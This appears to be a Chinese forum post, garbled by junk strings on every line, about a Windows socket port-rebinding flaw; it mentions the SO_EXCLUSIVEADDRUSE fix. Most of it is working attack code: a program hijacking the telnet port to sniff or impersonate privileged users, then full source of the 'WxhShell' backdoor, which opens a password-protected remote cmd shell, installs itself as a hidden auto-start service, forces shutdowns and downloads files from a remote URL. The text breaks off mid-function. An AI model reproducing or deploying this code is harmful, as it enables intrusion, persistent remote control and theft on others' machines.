在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
z %Bzf~N9 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
<PVwf`W. |UlG@Mn saddr.sin_family = AF_INET;
o@BV&| !> =ybRe saddr.sin_addr.s_addr = htonl(INADDR_ANY);
64mg :ed& m8=n `XI bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
?=ffv]v| -V:HT
j 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
,3!$mQL= @0'U
p 这意味着什么?意味着可以进行如下的攻击:
'Oj 1@0*0 D<m0G]Ht* 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
X@"G1j >/ mU]VFPr5 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
[ /YuI@C,@ .L+XV y 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
wk ^7/B >{N}UNZ$} 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
c:.~%AJx oNtoqYwH 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
fd4C8>*7G #1/~eIEY 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
V^,eW! gfs ;?vP 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
\"1>NJn&k) Z6rhInIY #include
@zC6` #include
d\ 8v
VZ
#include
L;*
s-j6y #include
R0}1:1}$Sn DWORD WINAPI ClientThread(LPVOID lpParam);
K8aqC{ int main()
:{2~s {
mUbm3JIjJ WORD wVersionRequested;
4;I\%qes DWORD ret;
|DV?5>> WSADATA wsaData;
0_eqO'" BOOL val;
mwo:+^v( SOCKADDR_IN saddr;
HT6 [Z1 SOCKADDR_IN scaddr;
#n'.a1R int err;
8f/KNh7#s SOCKET s;
z7ik/>d? SOCKET sc;
_Z Sp$>)/ int caddsize;
4/Y?e UQ HANDLE mt;
J\r\_P@;c DWORD tid;
ejlns
~ wVersionRequested = MAKEWORD( 2, 2 );
+U2lwd!j err = WSAStartup( wVersionRequested, &wsaData );
"~5cz0
H3v if ( err != 0 ) {
~PI2G9 printf("error!WSAStartup failed!\n");
9H/>M4RT return -1;
iCPm7AU }
bDM },( saddr.sin_family = AF_INET;
R>*z8n a(|6)w- //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
%(1OjfZc ~<?Zj saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
TIKkS*$ saddr.sin_port = htons(23);
*3H=t$1G} if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
_Xt/U>N {
Y>8Qj+d printf("error!socket failed!\n");
J,
-.5 return -1;
ZC N}iQu4 }
[(heE
val = TRUE;
%dzt'uz //SO_REUSEADDR选项就是可以实现端口重绑定的
TP
rq:"K if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
NX&dJ
6a {
uQIPnd(V printf("error!setsockopt failed!\n");
?>}p'{I return -1;
Z*m^K%qJ }
YGJ!!(~r //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
Hu"$)V //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
509T?\r //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
]SCHni_ "[N2qJ}p if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
2iG+Ek-?" {
)X0=z1$ ret=GetLastError();
uu.X>agg printf("error!bind failed!\n");
'4 *0Pw return -1;
_y~6b{T }
L5bq\ listen(s,2);
wa8jr5/k" while(1)
pi?/]}: {
NPK; caddsize = sizeof(scaddr);
ga;nM#/ //接受连接请求
Uj7YTB sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
e,JBz~CK*w if(sc!=INVALID_SOCKET)
l+9RPJD/: {
ZAr6RRv ^ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
H~Uf2A)C if(mt==NULL)
Sb[>R(0: {
k24I1DlR8 printf("Thread Creat Failed!\n");
\J+a7N8m, break;
!|Q&4NS }
,{PN6B }
UjI./"]O CloseHandle(mt);
b* n3Fej }
p<
7rF_?W0 closesocket(s);
4Hz3KKu WSACleanup();
4
neZw'm return 0;
.o/|]d`% }
93]63NY DWORD WINAPI ClientThread(LPVOID lpParam)
0`x>p6.)G {
}|Qh+{H*. SOCKET ss = (SOCKET)lpParam;
46=E- Tq SOCKET sc;
rWTaCU^qV unsigned char buf[4096];
V
*@q< rQ SOCKADDR_IN saddr;
d_25]B( long num;
$`|hF[tv DWORD val;
C~h#pAh DWORD ret;
v
WXo# //如果是隐藏端口应用的话,可以在此处加一些判断
JTKS5r7? //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
G3_7e A#; saddr.sin_family = AF_INET;
tg\Nm7I saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
GrLxERf saddr.sin_port = htons(23);
y~+LzDV if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
zDdo RK@ {
t{]
6GlW printf("error!socket failed!\n");
E{T3Xwg return -1;
|KhpF1/( }
LA6XTgcu val = 100;
g=\(%zfsxr if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
6]1RxrAV {
L ci? ret = GetLastError();
Q#% LIkeq return -1;
SSI> +A }
b$'%)\('g if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
5;XC!Gz {
0XA\Ag\`G ret = GetLastError();
!f/K:CK| return -1;
2U[/"JL }
I0F[Z\U if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
~T@E")uR {
E<yQB39 printf("error!socket connect failed!\n");
(d&" @ closesocket(sc);
1'hpg>U closesocket(ss);
wo&IVy@s$ return -1;
5$U 49j }
0aY|: while(1)
oO
tjG3B({ {
%`bs<ZWT //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
%Ik5|\ob? //如果是嗅探内容的话,可以再此处进行内容分析和记录
(')t>B1Z //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
;j T{<
Y num = recv(ss,buf,4096,0);
xQZOGq if(num>0)
%1{S{FB send(sc,buf,num,0);
.uA
O.< else if(num==0)
%`$bQU break;
Z2W&_(^.h num = recv(sc,buf,4096,0);
l iY/BkpH if(num>0)
/uWUQ#9 send(ss,buf,num,0);
U9]&KNx else if(num==0)
YMw,C:a4 break;
4m\Cc_:jO }
@>z.chM; closesocket(ss);
<IZr..|O closesocket(sc);
t 9(,JC0 return 0 ;
iK4\N;H }
$D`Kz*/. OkRb3} \ ERBb. ==========================================================
<\~@l^lU ]4O!q}@Cd 下边附上一个代码,,WXhSHELL
Lj /^cx #`@)lU+/ ==========================================================
b|87=1^m[ z/j*zU
` #include "stdafx.h"
]fY:+Ru x<t?Yc9 #include <stdio.h>
6<z#*`U1 #include <string.h>
6U).vg< #include <windows.h>
HAc"pG #include <winsock2.h>
|3k r*# #include <winsvc.h>
]#N8e?b, #include <urlmon.h>
Oh}52= tG]W!\C'h #pragma comment (lib, "Ws2_32.lib")
V~Guw[RA #pragma comment (lib, "urlmon.lib")
"S@]yL
*[>{9V #define MAX_USER 100 // 最大客户端连接数
Cno[:iom #define BUF_SOCK 200 // sock buffer
y@}WxSK*0 #define KEY_BUFF 255 // 输入 buffer
aAcQmq TT yodhDSO5i #define REBOOT 0 // 重启
UChLWf|' #define SHUTDOWN 1 // 关机
]@_|A, ] hAgrs[OFj #define DEF_PORT 5000 // 监听端口
Z{u]qI{l `m V(: #define REG_LEN 16 // 注册表键长度
bz:En'2>F #define SVC_LEN 80 // NT服务名长度
&gh>'z;`r )3F}IgD // 从dll定义API
7LaRFL.,kO typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
M3eSj`c3 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
fda2dY; typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
Y;\@
5TgQ, typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
a{e1g93} {_>XsB // wxhshell配置信息
p>U= Jg struct WSCFG {
T2?.o.&u int ws_port; // 监听端口
G~zfPBN0D char ws_passstr[REG_LEN]; // 口令
_+}o/449 int ws_autoins; // 安装标记, 1=yes 0=no
C\[:{d char ws_regname[REG_LEN]; // 注册表键名
#.FhN x char ws_svcname[REG_LEN]; // 服务名
r"|do2s char ws_svcdisp[SVC_LEN]; // 服务显示名
lE+Duap: char ws_svcdesc[SVC_LEN]; // 服务描述信息
A{3nz DLI char ws_passmsg[SVC_LEN]; // 密码输入提示信息
CTqhXk[ int ws_downexe; // 下载执行标记, 1=yes 0=no
&i805,lx char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
?J| char ws_filenam[SVC_LEN]; // 下载后保存的文件名
_Kli~$c& M D=f$-rn };
Y|#<kS Zirp_[KZ% // default Wxhshell configuration
6!6R3Za$ struct WSCFG wscfg={DEF_PORT,
TCgW^iu "xuhuanlingzhe",
{iQ4jJ`n 1,
HKC&grp "Wxhshell",
Wa!C2nB "Wxhshell",
`OZiN;*| "WxhShell Service",
?>R(;B|ER "Wrsky Windows CmdShell Service",
<\d`}A:& "Please Input Your Password: ",
C
szZr>Z 1,
1vh[sKv9% "
http://www.wrsky.com/wxhshell.exe",
>2'A~?% "Wxhshell.exe"
A/ Sj>Y1j };
&[|Z2} B90fUK2g // 消息定义模块
{\h:k\k char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
ubKp
P%Z char *msg_ws_prompt="\n\r? for help\n\r#>";
'v(b^x<ZS char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
wgQx.8 h> char *msg_ws_ext="\n\rExit.";
6/0bis
H char *msg_ws_end="\n\rQuit.";
=FAIbM>u char *msg_ws_boot="\n\rReboot...";
Yru,YA
char *msg_ws_poff="\n\rShutdown...";
Tj2pEOu char *msg_ws_down="\n\rSave to ";
^%1u3 #/t+h#jG char *msg_ws_err="\n\rErr!";
zq$0 ?vGd char *msg_ws_ok="\n\rOK!";
bdBLfWe 8NWuhRRrw char ExeFile[MAX_PATH];
I,/E.cRV< int nUser = 0;
r0<zy_d' HANDLE handles[MAX_USER];
LCSJIt int OsIsNt;
uesIkJ^Q[ R2Q1Rk# SERVICE_STATUS serviceStatus;
=QwT)KRB% SERVICE_STATUS_HANDLE hServiceStatusHandle;
+}g6X6m Rx@0EPV // 函数声明
Co/04F. int Install(void);
7 $dibTER int Uninstall(void);
[.;I} int DownloadFile(char *sURL, SOCKET wsh);
#8WHIDS> int Boot(int flag);
V>4v6)N void HideProc(void);
8y4t9V int GetOsVer(void);
b6""q9S! int Wxhshell(SOCKET wsl);
a 4?c~bs void TalkWithClient(void *cs);
UD&pL'{s int CmdShell(SOCKET sock);
e[QEOx/-h2 int StartFromService(void);
HSACaTVK int StartWxhshell(LPSTR lpCmdLine);
4^^=^c jU{~3Gn? VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
pe!"!xJE VOID WINAPI NTServiceHandler( DWORD fdwControl );
R$2\Xl@qQF ;Yt'$D*CP // 数据结构和表定义
(
_MY;S SERVICE_TABLE_ENTRY DispatchTable[] =
]0")iY_ {
A*kN
I {wscfg.ws_svcname, NTServiceMain},
*"V) hI5 {NULL, NULL}
QwnqysNx4 };
.07kG] [KEw5-=i@ // 自我安装
cU "uKR int Install(void)
wk2Ff*& {
`nd$6i^#W char svExeFile[MAX_PATH];
s +0S,?{$ HKEY key;
ddlF4L_ strcpy(svExeFile,ExeFile);
j9f Q V "i%=QON` // 如果是win9x系统,修改注册表设为自启动
WXa<(\S\V if(!OsIsNt) {
,C^u8Z|T if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
g]?QV2bX6 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
Ki[&DvW: RegCloseKey(key);
X|Nb81M if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
LO,:k+&A+ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
nKch:g RegCloseKey(key);
?0d#O_la3 return 0;
8&y#LeM1TT }
W#L/|K!S }
Go7 oj'" }
( n!8>>+1C else {
5QG?*Z~?7 i&L!?6 5-f // 如果是NT以上系统,安装为系统服务
wYd{X 8$ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
xeRoif\4c if (schSCManager!=0)
"i\^GK= {
:>3?|Z"Aj SC_HANDLE schService = CreateService
P\$%p-G (
\
Ju7.3. schSCManager,
<@>l9_=R wscfg.ws_svcname,
}4q1"iMlO wscfg.ws_svcdisp,
qKI)*o062 SERVICE_ALL_ACCESS,
vSo,,~F SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
nz/cs n SERVICE_AUTO_START,
dSE"G>l8 SERVICE_ERROR_NORMAL,
g7v(g? svExeFile,
(J.U{N v NULL,
=AX"'q NULL,
j^m pkv<P NULL,
\|
'Yuh NULL,
D0X!j,Kc NULL
@h%Nn)QBq );
dTQW /kAHQ if (schService!=0)
7J|nqr`>t {
]4,eCT CloseServiceHandle(schService);
Ime"}*9 CloseServiceHandle(schSCManager);
PebyH"M( strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
]9}^}U1." strcat(svExeFile,wscfg.ws_svcname);
"|/Q5*L if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
OyIIJ!( RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
dlioa Yc RegCloseKey(key);
[I(
Yn return 0;
;IR.6k$; }
,b t
j6hg }
OgCz[QXr_ CloseServiceHandle(schSCManager);
(J.k\d }
Ed1y%mR> }
O_v*,L! UYhxgPGsj return 1;
1P G"IaOb }
5jsZJpk$ wB"`lY // 自我卸载
q!YAA\'31 int Uninstall(void)
Fm[3Btn {
]3L/8]: HKEY key;
MAL;XcRR 5I/lF oy7 if(!OsIsNt) {
fN6n2*wr( if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
pL,l RegDeleteValue(key,wscfg.ws_regname);
yKC1h`2 RegCloseKey(key);
aqv'c
j> if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
[=^Wj`; RegDeleteValue(key,wscfg.ws_regname);
Yb%#\.M/y RegCloseKey(key);
,hE989x<iI return 0;
_>4)q= }
nNh5f]] }
@el }
sAoxLI else {
YVPLHwh/5 ">vi=Tr SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
#GzowI' if (schSCManager!=0)
9u%(9Ae {
Dv~jVI Xu SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
@DSKa` if (schService!=0)
<4582x,G {
m%s:4Z%= if(DeleteService(schService)!=0) {
~re~Ys CloseServiceHandle(schService);
7\yh<?`V8 CloseServiceHandle(schSCManager);
k +Cwnp return 0;
]#vi/6\J }
sEi9<$~R@0 CloseServiceHandle(schService);
Yw_!40` }
[gj>ey8T CloseServiceHandle(schSCManager);
@]Lu"h#u= }
XJ7pX1nf }
k`J|]99Wb I8uFMP return 1;
kq@~QI?9 }
/dHIm`. Z uc/W/c u, // 从指定url下载文件
|mcc?*%t8 int DownloadFile(char *sURL, SOCKET wsh)
pk0{*Z?@ {
^%!#Q]. HRESULT hr;
w^NQLV S char seps[]= "/";
~7m+N)5 char *token;
"Cs36k char *file;
-,2CMS#N char myURL[MAX_PATH];
.aR9ulS char myFILE[MAX_PATH];
z7TyS.z 6w[EJ;=p_ strcpy(myURL,sURL);
wOsg,p;\' token=strtok(myURL,seps);
I{=Yuc while(token!=NULL)
45WJb+$ {
fg4mP_ file=token;
U*?`tdXJ$ token=strtok(NULL,seps);
Zn[ppsz| }
qQ8+gZG$R ABcB-V4 GetCurrentDirectory(MAX_PATH,myFILE);
YLuf2ja}X strcat(myFILE, "\\");
',/2J0_ strcat(myFILE, file);
Y(R.<LtY send(wsh,myFILE,strlen(myFILE),0);
$=) Pky-~ send(wsh,"...",3,0);
iUk#hLLC hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
o=Y'ns^a( if(hr==S_OK)
]J@-,FFC return 0;
D"%> else
Fm*npK return 1;
QNH3\<IS z"Mk(d@-E }
m"QDc[^Ge <~uzKs0 // 系统电源模块
Q!_d6-*u int Boot(int flag)
(>NZYPw^3 {
4]6-)RHFB HANDLE hToken;
+}PN+:yV TOKEN_PRIVILEGES tkp;
Je}0KW3G9L +wxsAGy_j if(OsIsNt) {
m.<u!MI OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
Qxk & J LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
o4wSt6gBcJ tkp.PrivilegeCount = 1;
jcb&h@T8kv tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
|gIE$rt-~W AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
fH$#vRcq if(flag==REBOOT) {
O8SE)R~ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
_
j`tR: return 0;
SZ}=~yoD( }
k81%$E else {
ESYF4-d+ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
V@[C=K return 0;
{Wu[e,p }
n4y]h }
Dp!91NgB p else {
'C]Yh."u if(flag==REBOOT) {
)]s<Czm% if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
52zE -SY return 0;
D~#%^a+Aq_ }
[:cvy[}v@ else {
=E<H_cUS if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
}pIn3B) return 0;
D
<R_eK }
!?=U{^|7y }
_^NyLI% t"Ah]sD return 1;
cvG*p|| }
6)7cw8^ B(k tIy // win9x进程隐藏模块
@&Bh!_TWc void HideProc(void)
E&eY79 {
0^sY>N" f 9Kt>2IN HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
%S'+x[4W if ( hKernel != NULL )
b?c/J{me {
U7?v4O]D[ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
0Qq<h;8xEc ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
.ESvMK~x FreeLibrary(hKernel);
>0W
P:-\* }
%qiVbm0 E2d'P return;
8'%m! }
G!;PV^6x ],k~t5+ // 获取操作系统版本
7eAV2. int GetOsVer(void)
');vc~C {
;81,1
Ie<~ OSVERSIONINFO winfo;
U||GeEd winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
=$fz</S=J GetVersionEx(&winfo);
KmTFJ,iM if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
,w3-*z return 1;
qz{9ND|) else
M/dgW`c return 0;
@uldD"MJ<] }
[
'lu;1-, vg1JN"S[ // 客户端句柄模块
hlB\Xt int Wxhshell(SOCKET wsl)
(+[%^96 {
xcU!bDV SOCKET wsh;
7J!s"|VS struct sockaddr_in client;
oJ\g0|\qwe DWORD myID;
%l!?d`? {
]_j)R while(nUser<MAX_USER)
L*tfYonq {
kM{8zpn int nSize=sizeof(client);
bXOKC wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
dpw-a4o} if(wsh==INVALID_SOCKET) return 1;
; Byt'S fg3Jv* handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
c|;n)as9(% if(handles[nUser]==0)
oV0T
closesocket(wsh);
9K/EteS else
2Y23!hw nUser++;
[I3Nu8 }
5dI=;L>D WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
J\Pb/9M/ oDMPYkpTu return 0;
<Q\KS }
vxj:Y'} h_[{-WC // 关闭 socket
}!oEjcX' void CloseIt(SOCKET wsh)
.i
I{ {
b4i=%]v8 closesocket(wsh);
hdHz", ) nUser--;
1o%#kf ExitThread(0);
45sEhs[$ }
CqlxE/| Y?NL|cW4 // 客户端请求句柄
9hfg/3t(' void TalkWithClient(void *cs)
=g9n =spAn {
WSu6chz) kpIn_Ea SOCKET wsh=(SOCKET)cs;
]690ey$E:j char pwd[SVC_LEN];
(.cA'f?h char cmd[KEY_BUFF];
r|u[36NmA char chr[1];
.Y;f9R int i,j;
_ZK^JS N*}soMPV^. while (nUser < MAX_USER) {
JM|HnyI jJ$B^Y"4 if(wscfg.ws_passstr) {
dX cbS< if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
QQ .?A(U7 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
\ +%~7Bi]z //ZeroMemory(pwd,KEY_BUFF);
~p?ArZb i=0;
XNWtX-[^@ while(i<SVC_LEN) {
gZ$
8Y7 ~3?-l/ $ // 设置超时
V%r`v%ktF fd_set FdRead;
/DHgwpJ struct timeval TimeOut;
S
F*C' FD_ZERO(&FdRead);
<v|"eq} FD_SET(wsh,&FdRead);
,bl }@0A TimeOut.tv_sec=8;
]yf?i350 TimeOut.tv_usec=0;
@"MYq#2c$ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
S>~f. if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
wWb>V&3 hhy+bA} if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
id1cZig pwd
=chr[0]; z/1$G"
if(chr[0]==0xd || chr[0]==0xa) { =#Sw.N
pwd=0; C!*!n^qA
break; = 'o3 <}
} hi1Ial\Y
i++; Y0 a[Lb0
} ?l/6DT>e
Q:(mK* _
// 如果是非法用户,关闭 socket W/!P1M n
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); djOjd,
} 3y}E*QE
CW
&z?B ra
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); #y:D{%Wp
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); g8##Be
51q|-d
while(1) { "CJ~BJI%
`s
CwgY+
ZeroMemory(cmd,KEY_BUFF); UPuoIfuqI
4f[%Bb
// 自动支持客户端 telnet标准 1l$Ei,9
j=0; >9&31wA_
while(j<KEY_BUFF) { u[b |QR=5
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); p@^G)x
cmd[j]=chr[0]; \sAaVdZJH(
if(chr[0]==0xa || chr[0]==0xd) { 'ztOl`I5V
cmd[j]=0; lI=<lmM0|/
break; (SBhU:^h
} 90<g=B
j++; {-\U)&6#v
} MNd\)nX
."$t&[;s
// 下载文件 ~(^P(
if(strstr(cmd,"http://")) { %lHHTZ{+
send(wsh,msg_ws_down,strlen(msg_ws_down),0); H{*Dc_
if(DownloadFile(cmd,wsh)) F}nwTras
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'ZuS
else y!#-[K:
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rL{R=0
} N y'\Q"Y]
else { .T'@P7Hdx
e3p|g]
switch(cmd[0]) { |"gL{De
y@3p5o9lv-
// 帮助 t%lat./yT
case '?': { rm[C{Pn
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); >$4#G)s
break; I%3[aBz4
} U N9hZ>9
// 安装 7)lEZJK&T
case 'i': { 32YbBGDN!f
if(Install()) [s(D==8
send(wsh,msg_ws_err,strlen(msg_ws_err),0); K;RH,o1
else 8<6H2~5<
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); cV+?j}"*+
break; L^sjV/\oW
} &jP1Q3
// 卸载 CxFd/X,
case 'r': { %!<Y
if(Uninstall()) .e~"+Pe6b
send(wsh,msg_ws_err,strlen(msg_ws_err),0); }UhYwJf89
else $v0,)AL i
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3_
break; S+T/(-W
} jc5[r;#
// 显示 wxhshell 所在路径 "?8)}"/f
case 'p': { |?!i},Ki;
char svExeFile[MAX_PATH]; &W2*'$j"_
strcpy(svExeFile,"\n\r"); N6Mr#A-{
strcat(svExeFile,ExeFile); IO\4dU)
send(wsh,svExeFile,strlen(svExeFile),0); o:Fq|?/e
break; FnO@\{M"A
} UkL1h7}a\
// 重启 YZol4q|ic
case 'b': { $h#sb4ek
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ETp?R WXX
if(Boot(REBOOT)) 9bM\ (s/
send(wsh,msg_ws_err,strlen(msg_ws_err),0); <Riz!(G
else { 5C Dk5B_
closesocket(wsh); K zWo}tT
ExitThread(0); 'R7 \
} V@
>(xe7
break; Cr.YSWg)4
} V(7,N(
// 关机 z#*.9/y\^R
case 'd': { .xRdKt!p
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); y\?ey'o
if(Boot(SHUTDOWN)) f"ezmZI
send(wsh,msg_ws_err,strlen(msg_ws_err),0); n|i:4D
else { R/vHq36d
closesocket(wsh); 6Tl6A>%s
ExitThread(0); GKBoSSnV&
} A8)4nOXM
break; Gw*Tz"
} {&51@UX
// 获取shell 7r:h_r-
case 's': { '~[8>Q>
CmdShell(wsh); 5J5?cs-!
closesocket(wsh); w#"\*SKK
ExitThread(0); ^tB1Nu%
break; #Bd]M#J17a
} bZnOX*y]
// 退出 5hrI#fpOR
case 'x': { H"A%mrb
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); zHJCXTM
CloseIt(wsh); aO' #!k*R
break; j q+(2
} um2a#6uo
// 离开 p+d-7'?I
case 'q': { x?h/e;
send(wsh,msg_ws_end,strlen(msg_ws_end),0); 9K+>;`
closesocket(wsh); ]VI^ hhf
WSACleanup(); ATs_d_Sz
exit(1); K`4lL5oH
break; lTx_E#^s
} ^m>4<~/
} ^6s im 2
} c!6D{(sfh
Itl8#LpLM
// 提示信息 l1 +l@r\
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); f"MID6
} o@:"3s
} - x
9[0iIT$q$
return; v] m/$X2
} NoI|Dz
o4Q?K.9c
// shell模块句柄 {2\Y%Y'}*
int CmdShell(SOCKET sock) R<|\Z@z
{ ].d2C J'
STARTUPINFO si; j}+3+ 8D
ZeroMemory(&si,sizeof(si)); vm [lMx
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; `^M]|7
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; IskL$Y ^
PROCESS_INFORMATION ProcessInfo; \]X.f&u
char cmdline[]="cmd"; ;4F6
$T'I
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); R/hf"E1
return 0; r4yz{^G
} eM7@!CdA9q
f|d~=\0y
// 自身启动模式 W`>|OiuF
int StartFromService(void) ;: ;E|{e
{ UK =ELvt]
typedef struct ,.,8-In^
{ P>/:dt'GJ}
DWORD ExitStatus; o@meogkL
DWORD PebBaseAddress; }d[(kC_
